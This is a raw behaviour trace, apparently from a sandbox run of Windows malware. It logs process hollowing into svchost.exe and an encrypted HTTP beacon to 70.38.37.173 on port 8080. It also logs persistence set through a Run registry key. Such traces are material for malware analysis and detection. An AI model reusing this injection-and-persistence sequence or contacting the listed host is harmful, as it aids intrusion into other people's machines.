09:13:32,441	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x00017000 BaseAddress => 0x00119000	SUCCESS	0x00000000
09:13:32,441	972	LdrGetProcedureAddress	Ordinal => 4 FunctionName => FunctionAddress => 0x77124b39 ModuleHandle => 0x77120000	SUCCESS	0x00000000
09:13:32,471	972	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x01c10000	SUCCESS	0x00000000
09:13:32,481	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0001d000 BaseAddress => 0x01a4a000	SUCCESS	0x00000000
09:13:32,481	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0000e000 BaseAddress => 0x01a3c000	SUCCESS	0x00000000
09:13:32,481	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0000e000 BaseAddress => 0x01a2e000	SUCCESS	0x00000000
09:13:32,481	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0001d000 BaseAddress => 0x0030e000	SUCCESS	0x00000000
09:13:32,481	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0001d000 BaseAddress => 0x002f1000	SUCCESS	0x00000000
09:13:32,491	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0001d000 BaseAddress => 0x01a11000	SUCCESS	0x00000000
09:13:32,491	972	LdrLoadDll	Flags => 522780 BaseAddress => 0x77dd0000 FileName => advapi32.dll	SUCCESS	0x00000000
09:13:32,491	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => MD5Init FunctionAddress => 0x77de7058 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:13:32,491	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => MD5Update FunctionAddress => 0x77de7132 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:13:32,491	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => MD5Final FunctionAddress => 0x77de7092 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:13:32,521	972	CreateProcessInternalW	ApplicationName => ProcessId => 1400 CommandLine => svchost.exe ThreadHandle => 0x00000230 ProcessHandle => 0x00000220 ThreadId => 1436 CreationFlags => 0x00000004	SUCCESS	0x00000001
09:13:32,521	972	NtReadVirtualMemory	Buffer => \x00\x00\x00\x01 ProcessHandle => 0x00000220 BaseAddress => 0x7ffd8008	SUCCESS	0x00000000
09:13:32,531	972	NtCreateSection	ObjectAttributes => DesiredAccess => 0x000f001f SectionHandle => 0x0000022c FileHandle => 0x00000000	SUCCESS	0x00000000
09:13:32,531	972	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x0000022c ProcessHandle => 0xffffffff BaseAddress => 0x01c20000	SUCCESS	0x00000000
09:13:32,531	972	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x0000022c ProcessHandle => 0x00000220 BaseAddress => 0x00090000	SUCCESS	0x00000000
09:13:32,561	972	NtCreateSection	ObjectAttributes => DesiredAccess => 0x000f001f SectionHandle => 0x000001b4 FileHandle => 0x00000000	SUCCESS	0x00000000
09:13:32,581	972	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x000001b4 ProcessHandle => 0xffffffff BaseAddress => 0x01c40000	SUCCESS	0x00000000
09:13:32,581	972	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x000001b4 ProcessHandle => 0x00000220 BaseAddress => 0x002b0000	SUCCESS	0x00000000
09:13:32,591	972	NtReadVirtualMemory	Buffer => MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4 \xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode. $\x00\x00\x00\x00\x00\x00\x00\xfc\xa9\xf5f\xb8\xc8\x9b5\xb8\xc8\x9b5\xb8\xc8\x9b5{\xc7\xfb5\xb9\xc8\x9b5{\xc7\xc65\xb1\xc8\x9b5\xb8\xc8\x9a5\xe7\xc8\x9b5{\xc7\xc55\xb9\xc8\x9b5{\xc7\xc45\xb4\xc8\x9b5{\xc7\xc15\xb9\xc8\x9b5Rich\xb8\xc8\x9b5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x03\x00\xc0[\x02H\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x0f\x01\x0b\x01\x07 \x00,\x00\x00 ProcessHandle => 0x00000220 BaseAddress => 0x01000000	SUCCESS	0x00000000	1 time
09:13:32,591	972	NtCreateSection	ObjectAttributes => DesiredAccess => 0x000f001f SectionHandle => 0x00000234 FileHandle => 0x00000000	SUCCESS	0x00000000
09:13:32,591	972	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x00000234 ProcessHandle => 0xffffffff BaseAddress => 0x02150000	SUCCESS	0x00000000
09:13:32,621	972	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x00000234 ProcessHandle => 0x00000220 BaseAddress => 0x01000000	SUCCESS	0x00000000
09:13:32,631	972	NtResumeThread	SuspendCount => 1 ThreadHandle => 0x00000230	SUCCESS	0x00000000
09:13:32,631	972	NtFreeVirtualMemory	FreeType => 0x00000000 ProcessHandle => 0xffffffff RegionSize => 0x00000000 BaseAddress => 0x01c50000	FAILURE	3221225714
09:13:32,631	972	NtDelayExecution	Milliseconds => 60000	SUCCESS	0x00000000
09:14:32,637	972	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x02160000	SUCCESS	0x00000000
09:14:32,637	972	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x024d0000	SUCCESS	0x00000000
09:14:32,637	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x00041000 BaseAddress => 0x01a1f000	SUCCESS	0x00000000
09:14:32,637	972	InternetOpenA	ProxyBypass => AccessType => 0x00000000 Agent => Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Flags => 0x00000000 ProxyName =>	SUCCESS	0x00cc0004
09:14:32,637	972	InternetConnectA	Username => Service => 3 InternetHandle => 0x00cc0004 ServerName => 70.38.37.173 Flags => 0x00000000 ServerPort => 8080 Password =>	SUCCESS	0x00cc0008
09:14:32,637	972	HttpOpenRequestA	Flags => 256 Path => 4C4FEF4B6ED8F1684973FE753352286D2D966CD844 InternetHandle => 0x00cc0008	SUCCESS	0x00cc000c
09:14:36,423	972	HttpSendRequestA	RequestHandle => 0x00cc000c Headers => Content-Type: application/x-www-form-urlencoded PostData => \x80\x00\x00\x00ED\x98!\xfa\x16\xce\xf0\x1aV\xddxcDx\x14\xbc\x1d\xf7\xa6zU\xddUW\xa9\xf9\x1e\xeb\xa5>\x0e"\xc4I\xc6\xf8g\xcb\xee5\xc9)M~\xad5\xb9C\x8bc\x01\xdf\xd3\x88\xa0vg\xd0jV\x99\xa7\xd0\x91\xed\xcd\xf6\xf7\x7f\x88\xa7Q\xea\xb9E*\x7fC3D\x90\x87\x8b\x12\xc7\xe5i#\xe6G\x7f\x93\x80\x01d'\x85\x97\xbc\xb0(Mv\xe9\x9b\x066\xc4\xe6\x02\x98\x17d\xe6\xf8\xa1\xd3\xe7{\x0cR\xbc\xe1i\xad\xccd\xaa\x00\x00\x00\x8dG\x91\xf5m_\xdb{(\xe5\x10obhK \x94\x92\x0e\xad\x12q\x07A\x88\x1cW\xf1\x03\x12\xe2~\xd23\xf7(\x8c\x82(~\x1a\xa0rJ\8\x84&l'\x9c$\x83\xa1K\x0b\xa6\xffd\x07Q\x17\xd1\xae\x03\xf8F\xb5\xdf\x95\x9a\xcfql\x8f\xefvR\xcai(hr0\xd4\xda\xbe\x1a\xef\x94LM`\xfa\xf6\xfa\xbfo"\x02\x95\x10\xe7\x86S\xae\xc5\x91n!\x1e\xcb\xcfC\xc6 \xc8U\x0f\xc7	SUCCESS	0x00000001
09:14:36,423	972	InternetReadFile	Buffer => \x80\x00\x00\x00;\xef\xb2\xfc8\xa1}!kFVj\x8d\xea\xaf\xb44*\xa9d\x08I\x0f\xbd\x03\x83\xa5\xf9\xbb\xc3%fz.\xcc\xcb^\xa0\xb5C.g\xf1<\xb0j\x01~\xfb\xffF^\x87d\x000\xc5\xcd\x83\xc8\x83\xa7\x0c\xed\x9b\xea\xbb\x16\x8cad\xe7fA\xe1\x1d r&\xe6\xd8\xbc\xab'\xb8\xbe~\xa8\xb3:\xca\xd6r4/\xd4\x8e>\xb7\x07` \xed\x11\x0bM97\x8d\xa6FvP\x1a\x9d \x16\x84\xfb{L\xc1 `\x9ax\xb1=j\x00\x00\x00\x8dG\x91\xf5m_\xdb{(\xe5R\xdc2jK \x87\x92\x0e\xfd\x10z\x05A\x88\x0c\xd1\xe2#\x12\xe2\xae\x8c&\x84X\x90\x85\xa2if-\xecCv\xa7\x15\xf9\xcf\xcc\x88\xc0G \xa3\x9e\x16J\xb2\x07@\xef\x1e\xb2q\x06\xb1\xe6\x16\x80\xe6\x91 \x90M/\x8c\xd2\xaf\x89\xc3\xfe)\x8f\xe7\xca\xed\x9a\xac\xac_v5\xc3\xa7\xcb_\x84 \x013\x07\x99uyu InternetHandle => 0x00cc000c	SUCCESS	0x00000001
09:14:36,423	972	InternetReadFile	Buffer => InternetHandle => 0x00cc000c	SUCCESS	0x00000001
09:14:36,423	972	InternetCloseHandle	InternetHandle => 0x00cc000c	SUCCESS	0x00000001
09:14:36,433	972	InternetCloseHandle	InternetHandle => 0x00cc0008	SUCCESS	0x00000001
09:14:36,433	972	InternetCloseHandle	InternetHandle => 0x00cc0004	SUCCESS	0x00000001
09:14:36,433	972	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x02160000	SUCCESS	0x00000000
09:14:36,433	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0001e000 BaseAddress => 0x01a11000	SUCCESS	0x00000000
09:14:36,433	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x00020000 BaseAddress => 0x00130000	SUCCESS	0x00000000
09:14:36,443	972	RegCreateKeyExA	Handle => 0x00000238 Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\lnfjfxop	SUCCESS	0x00000000
09:14:36,443	972	RegSetValueExA	Handle => 0x00000238 Buffer => ValueName => ujegxlcr Type => 3	SUCCESS	0x00000000
09:14:36,443	972	RegCloseKey	Handle => 0x00000238	SUCCESS	0x00000000
09:14:36,443	972	RegOpenKeyExA	Handle => 0x00000238 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Run	SUCCESS	0x00000000
09:14:36,443	972	RegSetValueExA	Handle => 0x00000238 Buffer => "C:\Documents and Settings\TDW\Local Settings\Application Data\gsqnheve.exe"\x00 ValueName => kmcrwpju Type => 1	SUCCESS	0x00000000
09:14:36,443	972	RegCloseKey	Handle => 0x00000238	SUCCESS	0x00000000
09:14:36,453	972	NtDelayExecution	Milliseconds => 780000	SUCCESS	0x00000000